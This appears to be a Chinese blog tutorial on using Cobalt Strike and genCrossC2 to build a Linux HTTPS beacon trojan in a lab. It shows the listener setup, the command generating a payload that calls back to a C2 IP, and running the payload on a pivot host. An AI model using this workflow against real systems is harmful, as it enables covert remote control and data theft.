Cobalt Strike横向渗透之Https Beacon实战1(跳板机Linux)

目录

[一、Https Beacon简介](#一、Https Beacon简介)

[二、 Linux平台 Beacon 生成工具](#二、 Linux平台 Beacon 生成工具)

1、genCrossC2安装

(1)基础文件下载

(2)构建genCrossC2环境

(3)修改cna配置文件

[2、genCrossC2 生成 Beacon](#2、genCrossC2 生成 Beacon)

三、CobaltStrike实战

1、服务端

(1)配置权限

(2)启动服务端

2、客户端

[四、监听器Https Beacon渗透实战](#四、监听器Https Beacon渗透实战)

1、添加监听器

2、配置NAT模式

[3、攻击机生成https stageless木马](#3、攻击机生成https stageless木马)

[4、上传https beacon木马到跳板机](#4、上传https beacon木马到跳板机)

5、跳板机执行ljn.out

[四、Https Beacon内网横向渗透实战](#四、Https Beacon内网横向渗透实战)

1、https监听1

2、https监听2


本系列讲解内网渗透中跳板机为linux系统的情况下,通过CobaltStrike生成的https beacon与跳板机建立连接,再基于跳板机进行横向渗透的过程,整体流程图如下所示。本篇主要讲解如何生成linux的https beacon文件,相对于跳板机为windows系统而言,本篇的主要区别是默认的CS并不支持生成linux的https beacon文件。

复制代码
sequenceDiagram
    participant Attacker as 攻击者(C2服务器)
    participant Compromised_Server as 已控服务器<br>(运行HTTPS Beacon)
    participant Internal_Target as 内网目标<br>(如数据库/RDP)

    Note over Attacker: 阶段1:Beacon初始回连
    Compromised_Server->>Attacker: HTTPS GET请求<br/>(含加密元数据)
    Attacker-->>Compromised_Server: 返回加密指令<br/>(如sleep/timeout)

    Note over Attacker: 阶段2:横向移动
    Compromised_Server->>Internal_Target: 代理攻击流量<br/>(如SMB爆破/端口扫描)
    Internal_Target-->>Compromised_Server: 返回响应数据

    Note over Attacker: 阶段3:数据回传
    Compromised_Server->>Attacker: 加密POST请求<br/>(数据伪装为HTTPS流量)
    Attacker-->>Compromised_Server: 新任务指令

    Note over Attacker: 循环执行阶段2-3

一、Https Beacon简介

HTTPS Beacon 使用 HTTPS 协议进行通信,基于 HTTP 协议并通过 SSL/TLS 协议提供加密传输和身份验证功能。HTTPS Beacon 是现代高级持续性威胁和红队操作中最常用的 C2 通信技术之一。它利用无处不在且受信任的 HTTPS 协议作为掩护,通过加密有效隐藏恶意指令和数据传输,极大地增加了防御者的检测难度。

  • Beacon基本概念 :Beacon 可直译为灯塔、信标,HTTPS Beacon 是 Cobalt Strike 等工具中运行在目标主机上的 payload。它就像一个潜伏在目标主机上的 "信标",会定期向控制服务器发送信号,告知自己的存在,并等待接收指令,以实现对目标主机的长期控制。

    • "Beacon" 字面意思是"信标"。在恶意软件语境中,它指的是植入在受害者系统上的恶意代码(Payload)。这个 Beacon 的主要功能是定期(或基于事件)向攻击者控制的 C2 服务器"报到"(发送心跳信号)。

    • 报到目的包括:

      • 心跳/存活确认:告诉 C2 服务器"我还活着"。

      • 检查任务:询问 C2 服务器是否有新的指令需要执行(如下载更多恶意软件、窃取数据、执行命令等)。

      • 回传数据:将窃取的信息(如凭证、键盘记录、屏幕截图、文件)发送回 C2。

      • 接收指令:获取 C2 服务器下发的下一步行动命令。

  • HTTPS 协议的应用

    • 加密通信:HTTPS 是在 HTTP 协议基础上加入了 TLS/SSL 加密层。这意味着 Beacon 与 C2 服务器之间的所有通信内容(指令、窃取的数据、配置信息)都被加密。

    • 伪装成合法流量:HTTPS 是互联网上最普遍、最受信任的协议之一(用于银行、电商、社交媒体等)。恶意流量隐藏在加密的 HTTPS 流量中,可以:

      • 绕过传统防火墙和 IDS/IPS:这些设备通常无法解密 HTTPS 流量来检查其内容(除非配置了 SSL/TLS 解密代理)。

      • 规避基于签名的检测:加密使得基于流量内容特征(如特定字符串)的检测方法失效。

      • 融入背景噪音:大量的合法 HTTPS 流量使得恶意通信更难被区分出来。

  • 与 HTTP Beacon 的区别:HTTPS Beacon 和 HTTP Beacon 使用了相同的 Malleable C2 配置文件,均使用 GET 和 POST 的方式传输数据。不同点在于 HTTPS Beacon 使用了 SSL/TLS 协议,能保证数据传输中信息不被截取或发生中间人攻击等,安全性更高。

  • 应用场景:在渗透测试中,测试人员可利用 HTTPS Beacon 绕过目标网络的部分安全检测机制,因为 HTTPS 是常见的加密网络流量,一些防火墙和入侵检测系统可能不会对其进行深度检测。而在恶意软件攻击中,攻击者也可能会利用 HTTPS Beacon 来控制被感染的主机,窃取数据或执行其他恶意操作。

二、Linux平台 Beacon 生成工具

genCrossC2 是 Cobalt Strike 官方提供的 跨平台 Beacon 生成工具,支持生成 Windows、Linux、macOS 等多种系统的 Beacon 载荷,适用于红队渗透测试和内网横向移动。其github网址如下所示。

复制代码
https://github.com/gloxec/CrossC2

1、genCrossC2安装

**(1)**基础文件下载

在github下载Realse的Cross C2,这里选择v3.3-stable版本,如下图红框所示。

以本机为例,我计划在windows执行genCrossC2,故而需要下载win版本和cna配置文件,如下图红框所示。

(2)构建genCrossC2环境

将下载后的文件解压后放到同一文件夹,并将Cobalt Strike服务器生成(./teamserver 运行时自动创建)的 .cobaltstrike.beacon_keys密钥文件也放到文件夹中,如下所示。

.cobaltstrike.beacon_keys文件为CS服务端运行时生成,该文件的路径来源如下所示。

**(3)**修改cna配置文件

修改 CrossC2-GithubBot-2023-11-20.cna 配置,CC2_PATH 填当前脚本的绝对路径,CC2_BIN 填 genCrossC2.exe 相对于 $CC2_PATH 的相对路径,注意 windows 要用双反斜杠,效果如下所示。

2、genCrossC2 生成 Beacon

通过genCrossC2生成https beacon文件,命令行如下所示。

复制代码
./genCrossC2 <C2_IP> <C2_PORT> <密钥文件> <代理设置> <目标系统> <输出文件> <格式>
参数 必选 说明 示例值
C2_IP C2 服务器 IP 或域名 20.1.0.32
C2_PORT C2 监听端口 443(HTTPS)
密钥文件 Beacon 加密通信的密钥路径 ./.cobaltstrike.beacon_keys
代理设置 代理配置(如 socks5://127.0.0.1:1080 null(直连)
目标系统 指定操作系统和架构 Linux x64Windows x86
输出文件 生成的 Beacon 文件名 payload.elf
格式 输出格式(raw/shellcode raw(可执行文件)

**三、**CobaltStrike实战

1、服务端

(1)配置权限

在CobaltStrike执行服务端程序之前一定记得给执行权限 否则无法执行,具体命令如下所示。

复制代码
chmod +x teamserver
chmod +x TeamServerImage

(2)启动服务端

服务端的命令如下:./teamserver `本地kali虚拟机`的ip 密码

复制代码
./teamserver 192.168.59.128 123456

启动成功后 会显示Linstener:forward started!,效果如下所示。

2、客户端

客户端启动成功后 会显示一个登录界面 在密码处写入刚才设置的密码 点击connect连接即可,其中主机ip地址填写服务端的ip地址,端口填写默认的50050,效果如下图所示。

登陆成功后,进入到如下页面,效果如下图所示。

四、监听器Https Beacon渗透实战

1、添加监听器

Cobalt StrikeListeners,进入监听器的页面,操作如下所示。

在新弹出的监听器listener页面中,点击下图红框中的添加部分,效果如下图所示。

配置监听器,payload选择BeaconHttps,地址填写攻击主机的IP地址,如下所示。由于CrossC2仅支持https的beacon,所以payload只能用Beacon HTTPS通过。

  • name: 为监听器名字,配置为10086_https
  • HTTP Hosts: 进行回连的主机(shell反弹的主机),也就是我们kali的ip,可以设置多个,我这里使用的是公网ip地址20.1.0.32(不过由于本机的Kali是在虚拟机中,故而后续还需要配置NAT)。
  • HTTP Hosts(Stager): Stager的马请求下载payload的地址(一般也是和上面的ip填一样)
  • HTTP Port(C2): payload回连的端口,这里选择使用10086

配置成功后效果如下所示。

2、配置NAT模式

本步骤需要将端口10087映射到NAT中。由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。

点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为10086,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

3、攻击机生成https stageless木马

由于默认的情况下CS工具中并没有生成linux载荷的部分,如下图红框所示只有windows的Beacon载荷 生成方法,Linux生成载荷需要进行特别处理,我们选择使用命令行方法讲解如何生成linux系统的可执行程序。

使用命令行生成linux下的木马,完整命令如下。

复制代码
./genCrossC2.exe 20.1.0.32 10087 ./.cobaltstrike.beacon_keys null Linux x64 ljn.out raw

执行如上命令便在当前目录下生成了ljn.out文件,参数说明如下所示:

  • ./genCrossC2.exe:执行genCrossC2工具(Cobalt Strike 的跨平台 Beacon 生成工具)
  • 20.1.0.32:指定 C2 服务器的 IP 地址(即 Beacon 回连的控制端 IP)
  • 10087:指定 C2 服务器监听的端口(Beacon 将通过此端口与控制端通信)
  • ./.cobaltstrike.beacon_keys:指定 Beacon 的加密密钥文件路径,用于 Beacon 与 C2 服务器之间的通信加密
  • null:指定水印值(可选参数,这里设为 null 表示不使用水印)
  • Linux:指定生成的 Beacon 运行的目标操作系统
  • x64:指定目标系统的架构(64 位)
  • ljn.out:生成的 Beacon 文件名称
  • raw:指定生成的 Beacon 类型为原始二进制文件(无文件头,可用于进一步封装)

4、上传https beacon木马到跳板机

5、跳板机执行ljn.out

将上传到跳板机的木马ljn.out运行,不过在运行前需要先增加权限,否则会执行失败。

当成功执行ljn.out时,这时候查看攻击机的CS工具,如下所示此时上线成功。

在cs的会话中执行ifconfig命令,如下所示说明成功连接内网设备。

相关推荐
mooyuan天天3 小时前
CobaltStrike横向渗透之Https Beacon实战2(跳板机Linux)
linux·内网渗透·横向移动·cobalt strike
无名修道院19 小时前
渗透测试新手面试高频 50 题:原理 + 标准答案(2025)- 第三篇
网络安全·面试·职场和发展·渗透测试·内网渗透·免杀
xing.yu.CTF1 天前
ATT&CK实战系列--蓝队防御(二)
网络·web安全·渗透测试·横向移动·暴力破解·入侵排查·内网对抗
mooyuan天天1 天前
Cobalt Strike渗透之HTTPS/SMB/TCP Beacon横向移动实战2(跳板机Windows)
内网渗透·横向移动·cobalt strike
mooyuan天天1 天前
Cobalt Strike渗透之HTTPS/SMB/TCP Beacon横向移动实战3(跳板机Windows)
内网渗透·横向移动·cobalt strike
mooyuan天天2 天前
CobaltStrike渗透实战之CS转发MSF联动(攻击机Kali在内网:目标靶机无法直接连Kali解决方案:需配置NAT端口映射)
内网渗透·nat·metasploit·msf·cobalt strike
mooyuan天天2 天前
Cobalt Strike渗透之HTTPS/SMB/TCP Beacon横向移动实战1(跳板机Windows)
内网渗透·横向移动·cobalt strike
xing.yu.CTF4 天前
ATT&CK实战系列-红队评估(九)(上)
网络·安全·web安全·横向移动·域渗透·内网对抗
mooyuan天天4 天前
CobaltStrike之MSF转发CS联动:原理详解与渗透实战
内网渗透·metasploit·msf·cobalt strike